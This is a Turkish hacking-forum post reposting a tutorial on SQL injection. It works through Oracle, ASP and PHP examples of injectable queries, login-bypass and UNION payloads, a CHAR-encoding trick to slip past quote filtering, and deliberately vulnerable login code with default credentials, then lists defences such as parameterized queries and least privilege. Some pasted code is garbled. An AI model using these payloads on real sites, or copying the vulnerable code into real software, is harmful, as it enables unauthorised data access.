Sql İnjection Nedir?

JersaW

Katılımcı Üye
arkadaslar en yenilerin bile program desteği ile yaptığı sql inj ile site hackleme peki bu nedir sizin için araştırdım kaynak güzel cidden bende paylaşayım bence okuyun /Alıntı


Sql İnjection


SQL Injection bir veritabanına SQL üzerinden sızma! olarak özetlenebilir.Yazılan basit, masum SQL ler hiç farkında olunmadan yapması gereken işlemler dışında programcının istemeyeceği sonuçlara yol açabilir.Bu durum ,verileri dış dünyaya verme ya da veritabanında bir paket cağırma vs. şeklinde olabilir.
SQL Injection olması için veritabanında yazılan kodun “dynamic sql(dynamic sql)” olması gerekir.Yani SQL , gelecek parametrelere göre runtime esnasında oluşturulmalıdır.(“bind variable” kullanmanın tek avantajının performanslı kodlar yazmak olmadığı, veritabanı güvenliği (database security) içinde önemli olduğu buradan anlaşılmaktadır)

Peki bu nasıl oluyor?Böyle bir ortamı sağlamak için basit bir yapı oluşturalım.Elimizde müşterinin ad soyad tlelefon fax ve tip bilgilerinin tutulduğu bir “customer” tablomuz olsun :
create table customers(
CUSTOMER_FORNAME VARCHAR2(30),
CUSTOMER_SURNAME VARCHAR2(30),
CUSTOMER_PHONE VARCHAR2(30),
CUSTOMER_FAX VARCHAR2(30),
CUSTOMER_TYPE NUMBER(10)
);
Şimdi de birkaç veri girelim :
declare
begin
insert into customers values(’Ali’,’Yilmaz’,999444888,999444889,3);
insert into customers values(’Ahmet’,’Celik’,999555888,999555889,2);
insert into customers values(’Veli’,’Gocer’,999777888,999777889,1);
commit;
end;
Müşterinin soyadını verince telefon numarasını veren bir fonksiyonun aşağıdaki gibi yazıldığını varsayalım:
create or replace procedure getCustPhone(p_surname varchar2)
is
type refCursor ref cursor;
rc refCursor;
thePhone customers.customer_phone%type;
stmt varchar2(32767):=’select customer_phone ‘||
‘from customers ‘||
’where customer_surname=”’||
P_surname||”’’;
begin
dbms_output.put_line(’select str : ‘|| stmt);
open rc for stmt;
loop
fetch rc into thePhone;
exit when cv%notfound;
dbms_output.put_line(’customer phone : ‘||thePhone);
end loop;
close rc;
end getCustPhone;
Ortamımızı hazırladık.Şimdi de mesela soyadı “Yilmaz” olan müşterinin telefon numarası alalım :
declare
cust varchar2(200) := ‘Yilmaz’;
begin
getCustPhone(cust);
dbms_output.put_line(’TEST SONLANDI….’);
end;
CIKTI :
select str : select customer_phone from customers where customer_surname=’Yilmaz’
customer phone : 999444888
TEST SONLANDI….
Buraya kadar her şey yolunda, soyadını verdiğiniz müşterinin telefon numarasını alabiliyorsunuz.
Diyelim ki bana tüm müşterilerin telefon numarası lazım Bunu elimizdeki bu fonksiyonla getirebilir miyiz sizce ? Gönderilen parametreyi biraz düzenleyip!!! deneyelim :
declare
cust varchar2(200) := ‘Yilmaz”’ || ‘ or exists (select 1 from sys.dual) and ‘’x’’ = ‘’x’;
begin
getCustPhone(cust);
dbms_output.put_line(’TEST SONLANDI….’);
end;
CIKTI :
select str : select customer_phone from customers where customer_surname=’Yilmaz’ or exists (select 1 from sys.dual) and ‘x’ = ‘x’
customer phone : 999444888
customer phone : 999555888
customer phone : 999777888
TEST SONLANDI….
Evet, başardık Elimizde sisteme kayıtlı tüm telefon numaraları var artık.
Peki bunu nasıl basardık? “getCustPhone” fonksiyonuna bir göz atalım.Dinamik SQL şu şekilde tasarlanmış :
stmt := ’select customer_phone ‘||’from customers ‘||
‘where customer_surname=”’||p_surname||”’’;
Burada “p_surname” değişkenine biz ne yazarsak “stmt” SQL stringi o şekilde oluşacak!!! Zaten SQL Injection durumuna sebeb olan noktada burası.”Yilmaz” gönderdiğimizde olusan SQL string :
select customer_phone from customers where customer_surname=’Yilmaz’
Son örneğimizde gönderdiğimiz gibi “’Yilmaz”’ || ‘ or exists (select 1 from sys.dual) and ‘’x’’ = ‘’x’;” gönderirsek oluşan SQL stringi ise :
select customer_phone from customers
where customer_surname=’Yilmaz’
or exists (select 1 from sys.dual) and ‘x’ = ‘x’
şeklinde!!!”customer_name = ” eşitliğini sağ tarafına SQL in seyrini değiştirecek fazladan SQL ler yazabildik! (Ektra yazdıgımız ‘x’ = ‘x’ sadece açık kalacak bir tırnağı kapamak için kullanılıyor)
Şimdi bu örnekleri arttıralım :
Kurduğumuz “connection”’ın hangi “user” üzerinden yapıldıgını bulalım :
declare
cust varchar2(200) := ‘Yilmaz”’ || ‘ union select sys.login_user from sys.dual where ‘’x’’=’’x’;
begin
getCustPhone(cust);
dbms_output.put_line(’TEST SONLANDI….’);
end;
CIKTI :
select str : select customer_phone from customers where customer_surname=’Yilmaz’ union select sys.login_user from sys.dual where ‘x’=’x’
customer phone : 999444888
customer phone : CUSTINFOUSER
TEST SONLANDI….
Bu örnekleri arttırmak mümkün.Hatta diğer bir veritabanına giden bir linki biliyorsak yukarıdakilere benzer örneklerle oradaki bilgilere ulaşmak bile!Sonuç olarak SQL Injection durumları karşılaşılmayacak seyler değil ama korunulmasıda gayet basit.”Bind Variable” kullanın!

Şimdi İnternetin keşfiyle birlikte müthiş bir bilgi patlaması yaşandı. İnsanlar
ellerinde olan bilgileri internet aracılığıyla paylaşmaya ve başkaları
tarafından paylaşılmış olan bilgilere ulaşıp yararlanma imkânına kavuştular.
Bilgiler önce salt HTML kodlarında saklanırken bunun verimli olmadığı
anlaşıldı ve dinamik bir dil (Perl, PHP, ASP, ASP.NET , CGI, CFM, JSP vs.) ve
veritabanı sistemleri (MySQL, SQL Server, ORACLE, DB2, Access vs.) ikilisi
web uygulamalardaki yerlerini almaya başladılar. Veritabanı sistemleri
sayesinde daha çok veri saklandı, verilere daha hızlı erişildi ve hemen
hemen neredeyse veritabanı kullanmayan web uygulamaları kalmadı.
Geliştirilen SQL veri sorgulama dili sayesinde veriler veritabanından etkili
bir şekilde çekildi ve kullanıma sunuldu. Fakat internetin getirmiş olduğu
bir zaaf vardı: Güvenlik Eksikliği. Bilgiler, internette güvenli bir şekilde
paylaşılmalıydı ve herkesin kendi yetkisi dahilinde bilgi ve belgeye
ulaşabilmesi sağlanmalıydı. Bunun için web sunucularda güvenliğe önem
verildi. Güvenlik kontrolleri arttırıldı ve daha güvenli bilgi paylaşımı
imkanı sunuldu. Bu sırada gözden kaçan bir nokta vardı: Uygulama Güvenliği.
Acaba yazılan uygulamalar yeterince güvenli miydi? Bu gözden kaçan nokta
aslında büyük bir güvenlik açığı oluşturdu: SQL Injection.

SQL Injection Nedir?

SQL Injection kelime manasıyla da anlaşılabileceği gibi SQL sorgularının
arasına dışarıdan zararlı veri ekleme işlemine verilen isimdir. Dinamik web
uygulamalarında bir veritabanı ve o veritabanı üzerinde çalışan SQL
sorguları vardır. Bu sorgular masum amaçlı bir veya birden fazla tablodan
veriler çekerek etkileşimi sağlamayı amaçlamaktadır. Ama dışarıdaki
kullanıcının uygulamaya gelen girdilere zararlı veri karıştırması sonucu
masum sorgularımız korkunç bir faciaya sebep olurlar.

Web uygulamaları genelde kullanıcıyla etkileşime geçerek dinamik bir arayüz
sunarlar. Bu sırada kullanıcıdan bir takım girdiler(Formdan, URL
Sorgularından, çerezlerden vs.) alırlar ve bunu uygulama içinde işleme
sokarlar ve belli bir çıktı verirler. Bu sırada uygulamamızda bir takım
veritabanına erişecek kodlar, veritabanı üzerinde bir takım sorgular
çalışırlar ve belli bir veri elde ederler. Sonra da bu veriyi düzenleyip
kullanıcıya gönderirler. İşte SQL Injection bu işlemler sırasında devreye
girer. çünkü veritabanı üzerinde bir takım sorgular çalıştırılmak
istenmiştir. Böylece zararlı sorgularımız veritabanı üzerinde çalıştırılmış
olur.

SQL Injection’ın uygulamamıza verebileceği zarar sadece sorgu çalıştırmaktan
ibaret değildir. Sistem, veritabanı ve uygulama yetkilerine göre sistemi
tamamen devre dışı bırakabileceği gibi aynı ağdaki internete açık olmayan
kurumsal makinelerdeki bilgileri erişimden, o ağ kaynaklarını kullanarak
başka yerlere saldırı yapmaya kadar uzanabilen bir yolu açmış demektir.
Click this bar to view the full image.

Shot at 2007-07-14
Şekil-1: Bir SQL Injection kullanan saldırının anatomisi

Ne kadar sıklıkta gözükür?
• Dinamik websiteleri için en sık gözüken güvenlik açığıdır!
• Uygulama içerisinde yer alan bir çatlaktır. VT veya web sunucu problemi değildir.
• Bir çok programcı bu açıktan habersizdir.
• Webde yer alan birçok uygulama hala SQL Injection barındırmaktadır.
• İnternette yer alan çözümler çok da yeterli değildir.
Hedef Sistemler
• Hemen hemen tüm SQL veritabanı yönetim sistemleri ve programlama dilleri tehdit altındadır:
• MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix vs.
• Genelde bu dillerde geliştirilmiş uygulamalarda yer almaktadır:
• Veritabanına erişen Perl ve CGI scriptleri • ASP, JSP, PHP , ASP.NET, CFM…
• XML, XSL ve XSQL
• Javascript
• VB, MFC, ve diğer ODBC tabanlı araçlar ve API ’ler
• Raporlamalar ve VT Uygulamaları
• ve bir çok dil…
SQL Injection Nasıl çalışır?

En çok rastlanan login sorgusu:
PHP- Kodu:
SELECT * FROM users WHERE login = ‘ musa ’ AND password = ‘ 123 ’

ASP içerisinde, kullanıcıdan gelen verileri MS SQL Server’da denetlemek üzere şu şekilde bir SQL ifadesi oluşturulur:
PHP- Kodu:
sql = " SELECT * FROM users WHERE login = ’ " + formusr + " ’ AND password = ’ " + formpwd + " ’ ";

SQL Injection için formusr değişkenine şu şekilde bir ifade geldiğini düşünelim:
PHP- Kodu:
formusr = ’ or 1=1 – –formpwd = herhangi bir string

Sorgumuzun son hali aşağıdaki gibi olacaktır:
PHP- Kodu:
SELECT * FROM users WHERE login = ’ ’ or 1=1 -- AND password = ‘ herhangi... ’


Bildiğiniz gibi – MS SQL Server ve MS Access için SQL sorgularında özel bir anlam taşımaktadır. – karakterlerinden sonraki gelen herşey yorum(comment) olarak kabul edilir ve veritabanı motoru tarafından işlenmez.

Veritabanımızı oluşturacak SQL sorguları:
PHP- Kodu:
create table users( id int, username varchar(255), password varchar(255), privs int)insert into users values( 0, ’admin’, ’admin’, 100 )insert into users values( 0, ’guest’, ’guest’, 1 )

Login Sayfamız: login.asp
PHP- Kodu:
<HTML><HEAD><TITLE>Login Page</TITLE></HEAD><BODY bgcolor=’ 000000’ text=’cccccc’><FONT Face=’tahoma’ color=’cccccc’><CENTER><H1>Login</H1><FORM action=’process_login.asp’ method=post><TABLE><TR><TD>Username:</TD><TD><INPUT type=text name=username size=100% width=100></INPUT></TD></TR><TR><TD>Password:</TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR></TABLE><INPUT type=submit value=’Submit’><INPUT type=reset value=’Reset’></FORM></FONT></BODY></HTML>
Login işlemini kontrol eden asp scriptimiz:
PHP- Kodu:
<HTML><BODY bgcolor=’ 000000’ text=’ffffff’><FONT Face=’tahoma’ color=’ffffff’>*********p { font-size=20pt ! important}font { font-size=20pt ! important}h1 { font-size=64pt ! important}</STYLE><%@LANGUAGE = JScript %><%function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str );} <HTML><BODY bgcolor=’ 000000’ text=’ffffff’><FONT Face=’tahoma’ color=’ffffff’>*********p { font-size=20pt ! important}font { font-size=20pt ! important}h1 { font-size=64pt ! important}</STYLE><%@LANGUAGE = JScript %><%function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str );} //Bağlantıyı Oluşturalım var username; var cn = Server.createobject( "ADODB.Connection" ); cn.open( "Driver={SQL Server};server=localhost;uid=sa;pwd=sa;database=No rthwind" ); username = new String( Request.form("username") ); if( username.length > 0) { Login( cn ); } cn.close();}Main();%>

Şimdi gelin Tek tırnağın(’) Gücünü hep birlikte adım adım analiz edelim.
• Önce string parametreyi kapattı.
• Ardından gelen bütün ifadeler SQL sorgusu olarak işlendi.
• Ve böylece sisteme yetkisiz erişim hakkı sağlandı
çözüm nedir?
İnternette yer alan genel çözüm (‘) tek tırnağı 2 tane tek tırnakla (‘’) değiştirmeniz böylece açılan bir yolu kapatmanız yönünde. Ama aslında bu çok da yeterli değil. Nedenine değinmeden önce database string fieldları dışında başka ne gibi fieldlarda sql injection uygulanabilir, ona bakalım.

Nümerik Alanlar
Eğer nümerik bir alan varsa veritabanında? Evet, onlar da sql injection uygulanabiliyor.
PHP- Kodu:
SELECT * FROM clients WHERE account = 12345678 AND pin = 1111
PHP/MySQL login yapısı:
PHP- Kodu:
$sql="SELECT * FROM clients WHERE “. "account = $formacct AND " . "pin = $formpin";

Nümerik Alana Injection
PHP- Kodu:
$formacct = 1 or 1=1 # $formpin = 1111

Sorgumuzun son hali:
PHP- Kodu:
SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111

MySQL için SQL cümleciklerindeki # (diyez) karakteri yorumlardan önce gelmektedir. Böylece sorgumuzun geri kalan kısmı işleme alınmayacaktır.

Veritabanında tablomuzu oluşturacak SQL sorguları:
PHP- Kodu:
DROP TABLE IF EXISTS `accounts`;CREATE TABLE IF NOT EXISTS `accounts` (`id` bigint(20) unsigned NOT NULL auto_increment,`account` bigint(20) NOT NULL default ’ 0’ ,`pin` bigint(20) NOT NULL default ’ 0’ ,`user_name` varchar(128) NOT NULL default ’’,PRIMARY KEY (`id`)) TYPE=MyISAM AUTO_INCREMENT=3 ;---- Tablo döküm verisi `accounts`--INSERT INTO `accounts` VALUES (1, 123, 123, ’ULKER’);INSERT INTO `accounts` VALUES (2, 456, 456, ’MUSA’);
Login ekranımızın ve kontrollerimizin olduğu php kodları:
PHP- Kodu:
require(’classes.php’);
session_start();
$db = new db("root","","sql_demo","localhost");
error_reporting(0);

if($_POST[’account’] && $_POST[’pin’]){
if($user=$db->get_row(" SELECT * FROM accounts WHERE account=".$_POST[’account’]." AND pin=".$_POST[’pin’]." LIMIT 1 ")){
echo "Hoş geldiniz $user->user_name ";
}
else
echo "Erişim engellendi !!";
}
else {
?>
<html>
<head>
<title>Güvenli Bir İnternet Sitesi </title>
</head>
<bOdy>
<form id="login" action="<?=$_SERVER[’PHP_SELF’] ?>" method="POST" >
Kullanıcı adı: <input type="text" value="<?=$_POST[’acocount’]?>" size="24" maxlength="20" name="account" />

şifre :<input name="pin" type="text" size="24" maxlength="20" value="<?=$_POST[’pin’]?>"/>


<input type="submit" value="Gönder" />
</form>




Örnekler:

kullanıcı:

1 or 1=1 #

şifre:

1111
</bOdy></html>
<?php}
?>

SQL Injection Karakterleri
PHP- Kodu:
’ veya " string karakter ayracı -- veya # tek satır yorum /*…*/ çok satır yorum + toplama, concatenate işlemi (veya URL’de space) || (çift pipe) concatenate (Oracle ve PostgreSQL’de) % wildcard-ayraç ?Param1= xyz &Param2= klm URL parametreleri PRINT non-transactional komut olarak @variable local değişken @@variable global değişken waitfor delay ’0:0:10‘ süre gecikmesi # Access’de tarih ayıracı – çıkarma – Check Constraint Range

SQL Injection Bulunabilecek Yerler
Formlardaki alanlar
URL sorgu stringlerindeki parametreler
Cookieler
Bu alanların iyi kontrol edilmesi gerekir!

Tek tırnaktan( ’ ) Korunmak
• Bir fonksiyon yardımıyla ( ’ ) karakterini ( ’ ’ ) ile değiştirebiliriz.
• Peki ama ASCII kodu???
ASCII KOD
DEĞER

32
Boşluk

39
’

45
-

49
1

61
=

79
O

82
R
PHP- Kodu:
SELECT CHAR(49) + CHAR(39) + CHAR(32) + CHAR(79) + CHAR(82) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49) + CHAR(45) + CHAR(45)



Sonuçta, Tek tırnak ( ’ ) karakterini temizlesek bile CHAR ve Concat Operatörünü(+) de gelen inputtan arındırmamız gerekiyor.

Sql Enjeksiyonundan Korunma Yaklaşımları

Genel olarak 3 temel yaklaşım var:
1. Sadece İyileri Kabul Etmek
2. Kötüleri Reddetmek
3. Kötüleri Filtreleyerek Kabul Etmek

Sadece İyileri Kabul Etmek

Kullanıcının sadece belli karakterleri kullanmasına izin vermek. (abcd........yz012....89 gibi) Bazı bankalarda bu yöntem kullanıyor. Gelen inputu karakter karakter kontrol edilmesi gerekiyor.

Kötüleri Reddetmek
Güvenli sayılabilir. Ama bazen kullanıcı nerede hata yaptığını anlamaz.

“SELECT”, “ INSERT”, “ UPDATE”, “ DELETE”, “DROP”, “OR”, “,”, “+”

vb. gibi kelimeler barındırıyorsa devam etmeden direk reddedilir.

Kötüleri Filtreleyerek Kabul Etmek
En basit korunma yöntemidir. Kötüleri reddetme yönteminde olduğu gibi INSERT + vs özel karakterleri, SQL spesifik kelimeleri arındırarak kabul etmek.Temel bir koruma sağlar, ama yeterli değildir.

Korunmak için genel kontrol listesi
1. Bütün girdileri kontrol edin!
2. Tüm gelen inputları aksini ispatlayana kadar zararlı olduğunu düşünün.
3. Sisteminize uygun veriye alın ve gerisini reddedin
4. Regular Expressions kullanarak zararlı karakterlerden verinizi temizleyin.
5. Numeric alanları IsNumeric tarzı kontrollerden geçirin.
6. Kodlarınızı en düşük yetkiyle çalıştırın
1. MS SQL için ASLA “sa” yı kullanmayın!
2. MySQL için ASLA “root” kullanmayın!
3. MSSQL için system stored procedürlerinin çalıştırılmasına izin vermeyin
7. Stored Procedure veya parametrize edilmiş SQL cümlecikleri kullanın
8. Database hatalarını kullanıcıya göstermeyin.
Sonuç:
• SQL Injection küçümsenmemesi gereken büyük bir güvenlik açığıdır.
• Yeni yazılımlar çok dikkatli kodlanmalı, eskiler çok dikkatlice gözden geçirilmelidir.
• Burada gösterilmeyen birçok ileri SQL Injection yöntemleri vardır.
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.